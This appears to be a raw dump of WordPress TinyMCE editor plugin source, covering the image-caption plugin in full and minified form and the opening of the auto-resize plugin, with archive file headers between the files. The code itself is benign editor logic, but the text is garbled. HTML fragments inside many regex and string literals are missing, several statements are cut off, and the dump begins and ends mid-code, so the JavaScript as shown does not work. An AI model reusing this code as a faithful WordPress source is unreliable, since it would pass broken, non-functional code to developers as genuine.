]+wp-caption[^>]+>[\s\S]+?<\/dl>)\s*(?:<\/div>)?/g, function( all, dl ) { var out = ''; if ( dl.indexOf('') !== -1 ) { // Broken caption. The user managed to drag the image out or type in the wrapper div? // Remove the
,
and
and return the remaining text. return dl.replace( /]+)?>/g, '' ).replace( /<\/d[ldt]>/g, '' ); } out = dl.replace( /\s*
]+)>\s*
]+>([\s\S]+?)<\/dt>\s*
]+>([\s\S]*?)<\/dd>\s*<\/dl>\s*/gi, function( a, b, c, caption ) { var id, classes, align, width; width = c.match( /width="([0-9]*)"/ ); width = ( width && width[1] ) ? width[1] : ''; classes = b.match( /class="([^"]*)"/ ); classes = ( classes && classes[1] ) ? classes[1] : ''; align = classes.match( /align[a-z]+/i ) || 'alignnone'; if ( ! width || ! caption ) { if ( 'alignnone' !== align[0] ) { c = c.replace( />]+)?>/g, function( a ) { // No line breaks inside HTML tags. return a.replace( /[\r\n\t]+/, ' ' ); }); // Convert remaining line breaks to
. caption = caption.replace( /\s*\n\s*/g, '
' ); return '[caption id="' + id + '" align="' + align + '" width="' + width + '"' + classes + ']' + c + ' ' + caption + '[/caption]'; }); if ( out.indexOf('[caption') === -1 ) { // The caption html seems broken, try to find the image that may be wrapped in a link // and may be followed by

with the caption text. out = dl.replace( /[\s\S]*?((?:]+>)?]+>(?:<\/a>)?)(

[\s\S]*<\/p>)?[\s\S]*/gi, '

$1

$2' ); } return out; }); } function extractImageData( imageNode ) { var classes, extraClasses, metadata, captionBlock, caption, link, width, height, captionClassName = [], dom = editor.dom, isIntRegExp = /^\d+$/; // Default attributes. metadata = { attachment_id: false, size: 'custom', caption: '', align: 'none', extraClasses: '', link: false, linkUrl: '', linkClassName: '', linkTargetBlank: false, linkRel: '', title: '' }; metadata.url = dom.getAttrib( imageNode, 'src' ); metadata.alt = dom.getAttrib( imageNode, 'alt' ); metadata.title = dom.getAttrib( imageNode, 'title' ); width = dom.getAttrib( imageNode, 'width' ); height = dom.getAttrib( imageNode, 'height' ); if ( ! isIntRegExp.test( width ) || parseInt( width, 10 ) < 1 ) { width = imageNode.naturalWidth || imageNode.width; } if ( ! isIntRegExp.test( height ) || parseInt( height, 10 ) < 1 ) { height = imageNode.naturalHeight || imageNode.height; } metadata.customWidth = metadata.width = width; metadata.customHeight = metadata.height = height; classes = tinymce.explode( imageNode.className, ' ' ); extraClasses = []; tinymce.each( classes, function( name ) { if ( /^wp-image/.test( name ) ) { metadata.attachment_id = parseInt( name.replace( 'wp-image-', '' ), 10 ); } else if ( /^align/.test( name ) ) { metadata.align = name.replace( 'align', '' ); } else if ( /^size/.test( name ) ) { metadata.size = name.replace( 'size-', '' ); } else { extraClasses.push( name ); } } ); metadata.extraClasses = extraClasses.join( ' ' ); // Extract caption. captionBlock = dom.getParents( imageNode, '.wp-caption' ); if ( captionBlock.length ) { captionBlock = captionBlock[0]; classes = captionBlock.className.split( ' ' ); tinymce.each( classes, function( name ) { if ( /^align/.test( name ) ) { metadata.align = name.replace( 'align', '' ); } else if ( name && name !== 'wp-caption' ) { captionClassName.push( name ); } } ); metadata.captionClassName = captionClassName.join( ' ' ); caption = dom.select( 'dd.wp-caption-dd', captionBlock ); if ( caption.length ) { caption = caption[0]; metadata.caption = editor.serializer.serialize( caption ) .replace( /]*>/g, '$&\n' ).replace( /^

/, '' ).replace( /<\/p>$/, '' ); } } // Extract linkTo. if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' ) { link = imageNode.parentNode; metadata.linkUrl = dom.getAttrib( link, 'href' ); metadata.linkTargetBlank = dom.getAttrib( link, 'target' ) === '_blank' ? true : false; metadata.linkRel = dom.getAttrib( link, 'rel' ); metadata.linkClassName = link.className; } return metadata; } function hasTextContent( node ) { return node && !! ( node.textContent || node.innerText ).replace( /\ufeff/g, '' ); } // Verify HTML in captions. function verifyHTML( caption ) { if ( ! caption || ( caption.indexOf( '<' ) === -1 && caption.indexOf( '>' ) === -1 ) ) { return caption; } if ( ! serializer ) { serializer = new tinymce.html.Serializer( {}, editor.schema ); } return serializer.serialize( editor.parser.parse( caption, { forced_root_block: false } ) ); } function updateImage( $imageNode, imageData ) { var classes, className, node, html, parent, wrap, linkNode, imageNode, captionNode, dd, dl, id, attrs, linkAttrs, width, height, align, $imageNode, srcset, src, dom = editor.dom; if ( ! $imageNode || ! $imageNode.length ) { return; } imageNode = $imageNode[0]; classes = tinymce.explode( imageData.extraClasses, ' ' ); if ( ! classes ) { classes = []; } if ( ! imageData.caption ) { classes.push( 'align' + imageData.align ); } if ( imageData.attachment_id ) { classes.push( 'wp-image-' + imageData.attachment_id ); if ( imageData.size && imageData.size !== 'custom' ) { classes.push( 'size-' + imageData.size ); } } width = imageData.width; height = imageData.height; if ( imageData.size === 'custom' ) { width = imageData.customWidth; height = imageData.customHeight; } attrs = { src: imageData.url, width: width || null, height: height || null, title: imageData.title || null, 'class': classes.join( ' ' ) || null }; dom.setAttribs( imageNode, attrs ); // Preserve empty alt attributes. $imageNode.attr( 'alt', imageData.alt || '' ); linkAttrs = { href: imageData.linkUrl, rel: imageData.linkRel || null, target: imageData.linkTargetBlank ? '_blank': null, 'class': imageData.linkClassName || null }; if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) { // Update or remove an existing link wrapped around the image. if ( imageData.linkUrl ) { dom.setAttribs( imageNode.parentNode, linkAttrs ); } else { dom.remove( imageNode.parentNode, true ); } } else if ( imageData.linkUrl ) { if ( linkNode = dom.getParent( imageNode, 'a' ) ) { // The image is inside a link together with other nodes, // or is nested in another node, move it out. dom.insertAfter( imageNode, linkNode ); } // Add link wrapped around the image. linkNode = dom.create( 'a', linkAttrs ); imageNode.parentNode.insertBefore( linkNode, imageNode ); linkNode.appendChild( imageNode ); } captionNode = editor.dom.getParent( imageNode, '.mceTemp' ); if ( imageNode.parentNode && imageNode.parentNode.nodeName === 'A' && ! hasTextContent( imageNode.parentNode ) ) { node = imageNode.parentNode; } else { node = imageNode; } if ( imageData.caption ) { imageData.caption = verifyHTML( imageData.caption ); id = imageData.attachment_id ? 'attachment_' + imageData.attachment_id : null; align = 'align' + ( imageData.align || 'none' ); className = 'wp-caption ' + align; if ( imageData.captionClassName ) { className += ' ' + imageData.captionClassName.replace( /[<>&]+/g, '' ); } if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) { width = parseInt( width, 10 ); width += 10; } if ( captionNode ) { dl = dom.select( 'dl.wp-caption', captionNode ); if ( dl.length ) { dom.setAttribs( dl, { id: id, 'class': className, style: 'width: ' + width + 'px' } ); } dd = dom.select( '.wp-caption-dd', captionNode ); if ( dd.length ) { dom.setHTML( dd[0], imageData.caption ); } } else { id = id ? 'id="'+ id +'" ' : ''; // Should create a new function for generating the caption markup. html = '

' + '
'+ imageData.caption +'
'; wrap = dom.create( 'div', { 'class': 'mceTemp' }, html ); if ( parent = dom.getParent( node, 'p' ) ) { parent.parentNode.insertBefore( wrap, parent ); } else { node.parentNode.insertBefore( wrap, node ); } editor.$( wrap ).find( 'dt.wp-caption-dt' ).append( node ); if ( parent && dom.isEmpty( parent ) ) { dom.remove( parent ); } } } else if ( captionNode ) { // Remove the caption wrapper and place the image in new paragraph. parent = dom.create( 'p' ); captionNode.parentNode.insertBefore( parent, captionNode ); parent.appendChild( node ); dom.remove( captionNode ); } $imageNode = editor.$( imageNode ); srcset = $imageNode.attr( 'srcset' ); src = $imageNode.attr( 'src' ); // Remove srcset and sizes if the image file was edited or the image was replaced. if ( srcset && src ) { src = src.replace( /[?#].*/, '' ); if ( srcset.indexOf( src ) === -1 ) { $imageNode.attr( 'srcset', null ).attr( 'sizes', null ); } } if ( wp.media.events ) { wp.media.events.trigger( 'editor:image-update', { editor: editor, metadata: imageData, image: imageNode } ); } editor.nodeChanged(); } function editImage( img ) { var frame, callback, metadata, imageNode; if ( typeof wp === 'undefined' || ! wp.media ) { editor.execCommand( 'mceImage' ); return; } metadata = extractImageData( img ); // Mark the image node so we can select it later. editor.$( img ).attr( 'data-wp-editing', 1 ); // Manipulate the metadata by reference that is fed into the PostImage model used in the media modal. wp.media.events.trigger( 'editor:image-edit', { editor: editor, metadata: metadata, image: img } ); frame = wp.media({ frame: 'image', state: 'image-details', metadata: metadata } ); wp.media.events.trigger( 'editor:frame-create', { frame: frame } ); callback = function( imageData ) { editor.undoManager.transact( function() { updateImage( imageNode, imageData ); } ); frame.detach(); }; frame.state('image-details').on( 'update', callback ); frame.state('replace-image').on( 'replace', callback ); frame.on( 'close', function() { editor.focus(); frame.detach(); /* * `close` fires first... * To be able to update the image node, we need to find it here, * and use it in the callback. */ imageNode = editor.$( 'img[data-wp-editing]' ) imageNode.removeAttr( 'data-wp-editing' ); }); frame.open(); } function removeImage( node ) { var wrap = editor.dom.getParent( node, 'div.mceTemp' ); if ( ! wrap && node.nodeName === 'IMG' ) { wrap = editor.dom.getParent( node, 'a' ); } if ( wrap ) { if ( wrap.nextSibling ) { editor.selection.select( wrap.nextSibling ); } else if ( wrap.previousSibling ) { editor.selection.select( wrap.previousSibling ); } else { editor.selection.select( wrap.parentNode ); } editor.selection.collapse( true ); editor.dom.remove( wrap ); } else { editor.dom.remove( node ); } editor.nodeChanged(); editor.undoManager.add(); } editor.on( 'init', function() { var dom = editor.dom, captionClass = editor.getParam( 'wpeditimage_html5_captions' ) ? 'html5-captions' : 'html4-captions'; dom.addClass( editor.getBody(), captionClass ); // Prevent IE11 from making dl.wp-caption resizable. if ( tinymce.Env.ie && tinymce.Env.ie > 10 ) { // The 'mscontrolselect' event is supported only in IE11+. dom.bind( editor.getBody(), 'mscontrolselect', function( event ) { if ( event.target.nodeName === 'IMG' && dom.getParent( event.target, '.wp-caption' ) ) { // Hide the thick border with resize handles around dl.wp-caption. editor.getBody().focus(); // :( } else if ( event.target.nodeName === 'DL' && dom.hasClass( event.target, 'wp-caption' ) ) { // Trigger the thick border with resize handles... // This will make the caption text editable. event.target.focus(); } }); } }); editor.on( 'ObjectResized', function( event ) { var node = event.target; if ( node.nodeName === 'IMG' ) { editor.undoManager.transact( function() { var parent, width, dom = editor.dom; node.className = node.className.replace( /\bsize-[^ ]+/, '' ); if ( parent = dom.getParent( node, '.wp-caption' ) ) { width = event.width || dom.getAttrib( node, 'width' ); if ( width ) { width = parseInt( width, 10 ); if ( ! editor.getParam( 'wpeditimage_html5_captions' ) ) { width += 10; } dom.setStyle( parent, 'width', width + 'px' ); } } }); } }); editor.on( 'pastePostProcess', function( event ) { // Pasting in a caption node. if ( editor.dom.getParent( editor.selection.getNode(), 'dd.wp-caption-dd' ) ) { // Remove "non-block" elements that should not be in captions. editor.$( 'img, audio, video, object, embed, iframe, script, style', event.node ).remove(); editor.$( '*', event.node ).each( function( i, node ) { if ( editor.dom.isBlock( node ) ) { // Insert
where the blocks used to be. Makes it look better after pasting in the caption. if ( tinymce.trim( node.textContent || node.innerText ) ) { editor.dom.insertAfter( editor.dom.create( 'br' ), node ); editor.dom.remove( node, true ); } else { editor.dom.remove( node ); } } }); // Trim
tags. editor.$( 'br', event.node ).each( function( i, node ) { if ( ! node.nextSibling || node.nextSibling.nodeName === 'BR' || ! node.previousSibling || node.previousSibling.nodeName === 'BR' ) { editor.dom.remove( node ); } } ); // Pasted HTML is cleaned up for inserting in the caption. pasteInCaption = true; } }); editor.on( 'BeforeExecCommand', function( event ) { var node, p, DL, align, replacement, captionParent, cmd = event.command, dom = editor.dom; if ( cmd === 'mceInsertContent' || cmd === 'Indent' || cmd === 'Outdent' ) { node = editor.selection.getNode(); captionParent = dom.getParent( node, 'div.mceTemp' ); if ( captionParent ) { if ( cmd === 'mceInsertContent' ) { if ( pasteInCaption ) { pasteInCaption = false; /* * We are in the caption element, and in 'paste' context, * and the pasted HTML was cleaned up on 'pastePostProcess' above. * Let it be pasted in the caption. */ return; } /* * The paste is somewhere else in the caption DL element. * Prevent pasting in there as it will break the caption. * Make new paragraph under the caption DL and move the caret there. */ p = dom.create( 'p' ); dom.insertAfter( p, captionParent ); editor.selection.setCursorLocation( p, 0 ); /* * If the image is selected and the user pastes "over" it, * replace both the image and the caption elements with the pasted content. * This matches the behavior when pasting over non-caption images. */ if ( node.nodeName === 'IMG' ) { editor.$( captionParent ).remove(); } editor.nodeChanged(); } else { // Clicking Indent or Outdent while an image with a caption is selected breaks the caption. // See #38313. event.preventDefault(); event.stopImmediatePropagation(); return false; } } } else if ( cmd === 'JustifyLeft' || cmd === 'JustifyRight' || cmd === 'JustifyCenter' || cmd === 'wpAlignNone' ) { node = editor.selection.getNode(); align = 'align' + cmd.slice( 7 ).toLowerCase(); DL = editor.dom.getParent( node, '.wp-caption' ); if ( node.nodeName !== 'IMG' && ! DL ) { return; } node = DL || node; if ( editor.dom.hasClass( node, align ) ) { replacement = ' alignnone'; } else { replacement = ' ' + align; } node.className = trim( node.className.replace( / ?align(left|center|right|none)/g, '' ) + replacement ); editor.nodeChanged(); event.preventDefault(); if ( toolbar ) { toolbar.reposition(); } editor.fire( 'ExecCommand', { command: cmd, ui: event.ui, value: event.value } ); } }); editor.on( 'keydown', function( event ) { var node, wrap, P, spacer, selection = editor.selection, keyCode = event.keyCode, dom = editor.dom, VK = tinymce.util.VK; if ( keyCode === VK.ENTER ) { // When pressing Enter inside a caption move the caret to a new parapraph under it. node = selection.getNode(); wrap = dom.getParent( node, 'div.mceTemp' ); if ( wrap ) { dom.events.cancel( event ); // Doesn't cancel all :( // Remove any extra dt and dd cleated on pressing Enter... tinymce.each( dom.select( 'dt, dd', wrap ), function( element ) { if ( dom.isEmpty( element ) ) { dom.remove( element ); } }); spacer = tinymce.Env.ie && tinymce.Env.ie < 11 ? '' : '
'; P = dom.create( 'p', null, spacer ); if ( node.nodeName === 'DD' ) { dom.insertAfter( P, wrap ); } else { wrap.parentNode.insertBefore( P, wrap ); } editor.nodeChanged(); selection.setCursorLocation( P, 0 ); } } else if ( keyCode === VK.DELETE || keyCode === VK.BACKSPACE ) { node = selection.getNode(); if ( node.nodeName === 'DIV' && dom.hasClass( node, 'mceTemp' ) ) { wrap = node; } else if ( node.nodeName === 'IMG' || node.nodeName === 'DT' || node.nodeName === 'A' ) { wrap = dom.getParent( node, 'div.mceTemp' ); } if ( wrap ) { dom.events.cancel( event ); removeImage( node ); return false; } } }); /* * After undo/redo FF seems to set the image height very slowly when it is set to 'auto' in the CSS. * This causes image.getBoundingClientRect() to return wrong values and the resize handles are shown in wrong places. * Collapse the selection to remove the resize handles. */ if ( tinymce.Env.gecko ) { editor.on( 'undo redo', function() { if ( editor.selection.getNode().nodeName === 'IMG' ) { editor.selection.collapse(); } }); } editor.wpSetImgCaption = function( content ) { return parseShortcode( content ); }; editor.wpGetImgCaption = function( content ) { return getShortcode( content ); }; editor.on( 'beforeGetContent', function( event ) { if ( event.format !== 'raw' ) { editor.$( 'img[id="__wp-temp-img-id"]' ).removeAttr( 'id' ); } }); editor.on( 'BeforeSetContent', function( event ) { if ( event.format !== 'raw' ) { event.content = editor.wpSetImgCaption( event.content ); } }); editor.on( 'PostProcess', function( event ) { if ( event.get ) { event.content = editor.wpGetImgCaption( event.content ); } }); ( function() { var wrap; editor.on( 'dragstart', function() { var node = editor.selection.getNode(); if ( node.nodeName === 'IMG' ) { wrap = editor.dom.getParent( node, '.mceTemp' ); if ( ! wrap && node.parentNode.nodeName === 'A' && ! hasTextContent( node.parentNode ) ) { wrap = node.parentNode; } } } ); editor.on( 'drop', function( event ) { var dom = editor.dom, rng = tinymce.dom.RangeUtils.getCaretRangeFromPoint( event.clientX, event.clientY, editor.getDoc() ); // Don't allow anything to be dropped in a captioned image. if ( rng && dom.getParent( rng.startContainer, '.mceTemp' ) ) { event.preventDefault(); } else if ( wrap ) { event.preventDefault(); editor.undoManager.transact( function() { if ( rng ) { editor.selection.setRng( rng ); } editor.selection.setNode( wrap ); dom.remove( wrap ); } ); } wrap = null; } ); } )(); // Add to editor.wp. editor.wp = editor.wp || {}; editor.wp.isPlaceholder = isPlaceholder; // Back-compat. return { _do_shcode: parseShortcode, _get_shcode: getShortcode }; }); wpeditimage/plugin.min.js000064400000027443151734645250011507 0ustar00tinymce.PluginManager.add("wpeditimage",function(g){var r,u,n,c,a,e=tinymce.each,l=tinymce.trim,t=tinymce.Env.iOS;function i(e){return!(!g.dom.getAttrib(e,"data-mce-placeholder")&&!g.dom.getAttrib(e,"data-mce-object"))}function o(e){e=g.$(e).parents("[contenteditable]");return e&&"false"===e.attr("contenteditable")}function d(e){return e.replace(/(?:

)?\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\](?:<\/p>)?/g,function(e,t,n){var a,i,o,r,c,d=t.match(/id=['"]([^'"]*)['"] ?/);return(c=(t=(i=(t=(a=(t=d?t.replace(d[0],""):t).match(/align=['"]([^'"]*)['"] ?/))?t.replace(a[0],""):t).match(/class=['"]([^'"]*)['"] ?/))?t.replace(i[0],""):t).match(/width=['"]([0-9]*)['"] ?/))&&(t=t.replace(c[0],"")),r=(r=(n=l(n)).match(/((?:]+>)?]+>(?:<\/a>)?)([\s\S]*)/i))&&r[2]?(o=l(r[2]),l(r[1])):(o=l(t).replace(/caption=['"]/,"").replace(/['"]$/,""),n),d=d&&d[1]?d[1].replace(/[<>&]+/g,""):"",a=a&&a[1]?a[1]:"alignnone",i=i&&i[1]?" "+i[1].replace(/[<>&]+/g,""):"",(c=(c=!c&&r?r.match(/width=['"]([0-9]*)['"]/):c)&&c[1]?c[1]:c)&&o?(c=parseInt(c,10),g.getParam("wpeditimage_html5_captions")||(c+=10),'

"):n})}function s(e){return e.replace(/(?:
]+mceTemp[^>]+>)?\s*(
]+wp-caption[^>]+>[\s\S]+?<\/dl>)\s*(?:<\/div>)?/g,function(e,t){var n="";return-1===t.indexOf("")?t.replace(/]+)?>/g,"").replace(/<\/d[ldt]>/g,""):-1===(n=t.replace(/\s*
]+)>\s*
]+>([\s\S]+?)<\/dt>\s*
]+>([\s\S]*?)<\/dd>\s*<\/dl>\s*/gi,function(e,t,n,a){var i,o,r=n.match(/width="([0-9]*)"/);return r=r&&r[1]?r[1]:"",o=(i=(i=t.match(/class="([^"]*)"/))&&i[1]?i[1]:"").match(/align[a-z]+/i)||"alignnone",r&&a?'[caption id="'+((t=t.match(/id="([^"]*)"/))&&t[1]?t[1]:"")+'" align="'+o+'" width="'+r+'"'+(i=(i=i.replace(/wp-caption ?|align[a-z]+ ?/gi,""))&&' class="'+i+'"')+"]"+n+" "+(a=(a=a.replace(/\r\n|\r/g,"\n").replace(/<[a-zA-Z0-9]+( [^<>]+)?>/g,function(e){return e.replace(/[\r\n\t]+/," ")})).replace(/\s*\n\s*/g,"
"))+"[/caption]":"alignnone"!==o[0]?n.replace(/>]+>)?]+>(?:<\/a>)?)(

[\s\S]*<\/p>)?[\s\S]*/gi,"

$1

$2"):n})}function h(e){return e&&(e.textContent||e.innerText).replace(/\ufeff/g,"")}function m(e){var t=g.dom.getParent(e,"div.mceTemp");(t=t||"IMG"!==e.nodeName?t:g.dom.getParent(e,"a"))?(t.nextSibling?g.selection.select(t.nextSibling):t.previousSibling?g.selection.select(t.previousSibling):g.selection.select(t.parentNode),g.selection.collapse(!0),g.dom.remove(t)):g.dom.remove(e),g.nodeChanged(),g.undoManager.add()}return g.addButton("wp_img_remove",{tooltip:"Remove",icon:"dashicon dashicons-no",onclick:function(){m(g.selection.getNode())}}),g.addButton("wp_img_edit",{tooltip:"Edit|button",icon:"dashicon dashicons-edit",onclick:function(){var e,t,n,p;e=g.selection.getNode(),"undefined"!=typeof wp&&wp.media?(n=function(e){var t,n,a,i,o=[],r=g.dom,c=/^\d+$/;(n={attachment_id:!1,size:"custom",caption:"",align:"none",extraClasses:"",link:!1,linkUrl:"",linkClassName:"",linkTargetBlank:!1,linkRel:"",title:""}).url=r.getAttrib(e,"src"),n.alt=r.getAttrib(e,"alt"),n.title=r.getAttrib(e,"title"),a=r.getAttrib(e,"width"),i=r.getAttrib(e,"height"),(!c.test(a)||parseInt(a,10)<1)&&(a=e.naturalWidth||e.width);(!c.test(i)||parseInt(i,10)<1)&&(i=e.naturalHeight||e.height);n.customWidth=n.width=a,n.customHeight=n.height=i,c=tinymce.explode(e.className," "),t=[],tinymce.each(c,function(e){/^wp-image/.test(e)?n.attachment_id=parseInt(e.replace("wp-image-",""),10):/^align/.test(e)?n.align=e.replace("align",""):/^size/.test(e)?n.size=e.replace("size-",""):t.push(e)}),n.extraClasses=t.join(" "),(a=r.getParents(e,".wp-caption")).length&&(a=a[0],c=a.className.split(" "),tinymce.each(c,function(e){/^align/.test(e)?n.align=e.replace("align",""):e&&"wp-caption"!==e&&o.push(e)}),n.captionClassName=o.join(" "),(i=r.select("dd.wp-caption-dd",a)).length)&&(i=i[0],n.caption=g.serializer.serialize(i).replace(/]*>/g,"$&\n").replace(/^

/,"").replace(/<\/p>$/,""));e.parentNode&&"A"===e.parentNode.nodeName&&(c=e.parentNode,n.linkUrl=r.getAttrib(c,"href"),n.linkTargetBlank="_blank"===r.getAttrib(c,"target"),n.linkRel=r.getAttrib(c,"rel"),n.linkClassName=c.className);return n}(e),g.$(e).attr("data-wp-editing",1),wp.media.events.trigger("editor:image-edit",{editor:g,metadata:n,image:e}),t=wp.media({frame:"image",state:"image-details",metadata:n}),wp.media.events.trigger("editor:frame-create",{frame:t}),e=function(m){g.undoManager.transact(function(){var e,t,n,a,i,o,r,c,d,l,s;e=p,t=m,s=g.dom,e&&e.length&&(a=e[0],r=(r=tinymce.explode(t.extraClasses," "))||[],t.caption||r.push("align"+t.align),t.attachment_id&&(r.push("wp-image-"+t.attachment_id),t.size)&&"custom"!==t.size&&r.push("size-"+t.size),l=t.width,c=t.height,"custom"===t.size&&(l=t.customWidth,c=t.customHeight),c={src:t.url,width:l||null,height:c||null,title:t.title||null,class:r.join(" ")||null},s.setAttribs(a,c),e.attr("alt",t.alt||""),r={href:t.linkUrl,rel:t.linkRel||null,target:t.linkTargetBlank?"_blank":null,class:t.linkClassName||null},a.parentNode&&"A"===a.parentNode.nodeName&&!h(a.parentNode)?t.linkUrl?s.setAttribs(a.parentNode,r):s.remove(a.parentNode,!0):t.linkUrl&&((c=s.getParent(a,"a"))&&s.insertAfter(a,c),c=s.create("a",r),a.parentNode.insertBefore(c,a),c.appendChild(a)),r=g.dom.getParent(a,".mceTemp"),c=a.parentNode&&"A"===a.parentNode.nodeName&&!h(a.parentNode)?a.parentNode:a,t.caption?(t.caption=function(e){if(!e||-1===e.indexOf("<")&&-1===e.indexOf(">"))return e;u=u||new tinymce.html.Serializer({},g.schema);return u.serialize(g.parser.parse(e,{forced_root_block:!1}))}(t.caption),o=t.attachment_id?"attachment_"+t.attachment_id:null,d="wp-caption "+("align"+(t.align||"none")),t.captionClassName&&(d+=" "+t.captionClassName.replace(/[<>&]+/g,"")),g.getParam("wpeditimage_html5_captions")||(l=parseInt(l,10),l+=10),r?((i=s.select("dl.wp-caption",r)).length&&s.setAttribs(i,{id:o,class:d,style:"width: "+l+"px"}),(i=s.select(".wp-caption-dd",r)).length&&s.setHTML(i[0],t.caption)):(i="

'+t.caption+"
",o=s.create("div",{class:"mceTemp"},i),(n=s.getParent(c,"p"))?n.parentNode.insertBefore(o,n):c.parentNode.insertBefore(o,c),g.$(o).find("dt.wp-caption-dt").append(c),n&&s.isEmpty(n)&&s.remove(n))):r&&(n=s.create("p"),r.parentNode.insertBefore(n,r),n.appendChild(c),s.remove(r)),e=g.$(a),d=e.attr("srcset"),l=e.attr("src"),d&&l&&(l=l.replace(/[?#].*/,""),-1===d.indexOf(l))&&e.attr("srcset",null).attr("sizes",null),wp.media.events&&wp.media.events.trigger("editor:image-update",{editor:g,metadata:t,image:a}),g.nodeChanged())}),t.detach()},t.state("image-details").on("update",e),t.state("replace-image").on("replace",e),t.on("close",function(){g.focus(),t.detach(),(p=g.$("img[data-wp-editing]")).removeAttr("data-wp-editing")}),t.open()):g.execCommand("mceImage")}}),e({alignleft:"Align left",aligncenter:"Align center",alignright:"Align right",alignnone:"No alignment"},function(e,n){var t=n.slice(5);g.addButton("wp_img_"+n,{tooltip:e,icon:"dashicon dashicons-align-"+t,cmd:"alignnone"===n?"wpAlignNone":"Justify"+t.slice(0,1).toUpperCase()+t.slice(1),onPostRender:function(){var t=this;g.on("NodeChange",function(e){"IMG"===e.element.nodeName&&(e=g.dom.getParent(e.element,".wp-caption")||e.element,"alignnone"===n?t.active(!/\balign(left|center|right)\b/.test(e.className)):t.active(g.dom.hasClass(e,n)))})}})}),g.once("preinit",function(){g.wp&&g.wp._createToolbar&&(r=g.wp._createToolbar(["wp_img_alignleft","wp_img_aligncenter","wp_img_alignright","wp_img_alignnone","wp_img_edit","wp_img_remove"]))}),g.on("wptoolbar",function(e){"IMG"!==e.element.nodeName||i(e.element)||(e.toolbar=r)}),t&&g.on("init",function(){g.on("touchstart",function(e){"IMG"!==e.target.nodeName||o(e.target)||(n=!0)}),g.dom.bind(g.getDoc(),"touchmove",function(){n=!1}),g.on("touchend",function(e){var t;n&&"IMG"===e.target.nodeName&&!o(e.target)?(t=e.target,n=!1,window.setTimeout(function(){g.selection.select(t),g.nodeChanged()},100)):r&&r.hide()})}),g.on("init",function(){var t=g.dom,e=g.getParam("wpeditimage_html5_captions")?"html5-captions":"html4-captions";t.addClass(g.getBody(),e),tinymce.Env.ie&&10',a=r.create("p",null,a),"DD"===t.nodeName?r.insertAfter(a,n):n.parentNode.insertBefore(a,n),g.nodeChanged(),i.setCursorLocation(a,0));else if((o===c.DELETE||o===c.BACKSPACE)&&("DIV"===(t=i.getNode()).nodeName&&r.hasClass(t,"mceTemp")?n=t:"IMG"!==t.nodeName&&"DT"!==t.nodeName&&"A"!==t.nodeName||(n=r.getParent(t,"div.mceTemp")),n))return r.events.cancel(e),m(t),!1}),tinymce.Env.gecko&&g.on("undo redo",function(){"IMG"===g.selection.getNode().nodeName&&g.selection.collapse()}),g.wpSetImgCaption=d,g.wpGetImgCaption=s,g.on("beforeGetContent",function(e){"raw"!==e.format&&g.$('img[id="__wp-temp-img-id"]').removeAttr("id")}),g.on("BeforeSetContent",function(e){"raw"!==e.format&&(e.content=g.wpSetImgCaption(e.content))}),g.on("PostProcess",function(e){e.get&&(e.content=g.wpGetImgCaption(e.content))}),g.on("dragstart",function(){var e=g.selection.getNode();"IMG"!==e.nodeName||(a=g.dom.getParent(e,".mceTemp"))||"A"!==e.parentNode.nodeName||h(e.parentNode)||(a=e.parentNode)}),g.on("drop",function(e){var t=g.dom,n=tinymce.dom.RangeUtils.getCaretRangeFromPoint(e.clientX,e.clientY,g.getDoc());n&&t.getParent(n.startContainer,".mceTemp")?e.preventDefault():a&&(e.preventDefault(),g.undoManager.transact(function(){n&&g.selection.setRng(n),g.selection.setNode(a),t.remove(a)})),a=null}),g.wp=g.wp||{},g.wp.isPlaceholder=i,{_do_shcode:d,_get_shcode:s}});wpautoresize/plugin.min.js000060400000004450151734645250011736 0ustar00tinymce.PluginManager.add("wpautoresize",function(g){var m=g.settings,h=300,c=!1;function f(e){return parseInt(e,10)||0}function y(e){var t,o,n,i,a,s,l,u,r,d=tinymce.DOM;c&&(o=g.getDoc())&&(e=e||{},t=o.body,o=o.documentElement,n=m.autoresize_min_height,!t||e&&"setcontent"===e.type&&e.initial||g.plugins.fullscreen&&g.plugins.fullscreen.isFullscreen()?t&&o&&(t.style.overflowY="auto",o.style.overflowY="auto"):(i=g.dom.getStyle(t,"margin-top",!0),a=g.dom.getStyle(t,"margin-bottom",!0),s=g.dom.getStyle(t,"padding-top",!0),l=g.dom.getStyle(t,"padding-bottom",!0),u=g.dom.getStyle(t,"border-top-width",!0),r=g.dom.getStyle(t,"border-bottom-width",!0),(i=t.offsetHeight+f(i)+f(a)+f(s)+f(l)+f(u)+f(r))&&im.autoresize_min_height&&(n=i),m.autoresize_max_height&&i>m.autoresize_max_height?(n=m.autoresize_max_height,t.style.overflowY="auto",o.style.overflowY="auto"):(t.style.overflowY="hidden",o.style.overflowY="hidden",t.scrollTop=0),n!==h&&(a=n-h,d.setStyle(g.iframeElement,"height",n+"px"),h=n,tinymce.isWebKit&&a<0&&y(e),g.fire("wp-autoresize",{height:n,deltaHeight:"nodechange"===e.type?a:null}))))}function n(e,t,o){setTimeout(function(){y(),e--?n(e,t,o):o&&o()},t)}g.settings.inline||tinymce.Env.iOS||(m.autoresize_min_height=parseInt(g.getParam("autoresize_min_height",g.getElement().offsetHeight),10),m.autoresize_max_height=parseInt(g.getParam("autoresize_max_height",0),10),m.wp_autoresize_on&&(c=!0,g.on("init",function(){g.dom.addClass(g.getBody(),"wp-autoresize")}),g.on("nodechange keyup FullscreenStateChanged",y),g.on("setcontent",function(){n(3,100)}),g.getParam("autoresize_on_init",!0))&&g.on("init",function(){n(10,200,function(){n(5,1e3)})}),g.on("show",function(){h=0}),g.addCommand("wpAutoResize",y),g.addCommand("wpAutoResizeOn",function(){g.dom.hasClass(g.getBody(),"wp-autoresize")||(c=!0,g.dom.addClass(g.getBody(),"wp-autoresize"),g.on("nodechange setcontent keyup FullscreenStateChanged",y),y())}),g.addCommand("wpAutoResizeOff",function(){var e;m.wp_autoresize_on||(c=!1,e=g.getDoc(),g.dom.removeClass(g.getBody(),"wp-autoresize"),g.off("nodechange setcontent keyup FullscreenStateChanged",y),e.body.style.overflowY="auto",e.documentElement.style.overflowY="auto",h=0)}))});wpautoresize/plugin.js000060400000013544151734645250011160 0ustar00/** * plugin.js * * Copyright, Moxiecode Systems AB * Released under LGPL License. * * License: http://www.tinymce.com/license * Contributing: http://www.tinymce.com/contributing */ // Forked for WordPress so it can be turned on/off after loading. /*global tinymce:true */ /*eslint no-nested-ternary:0 */ /** * Auto Resize * * This 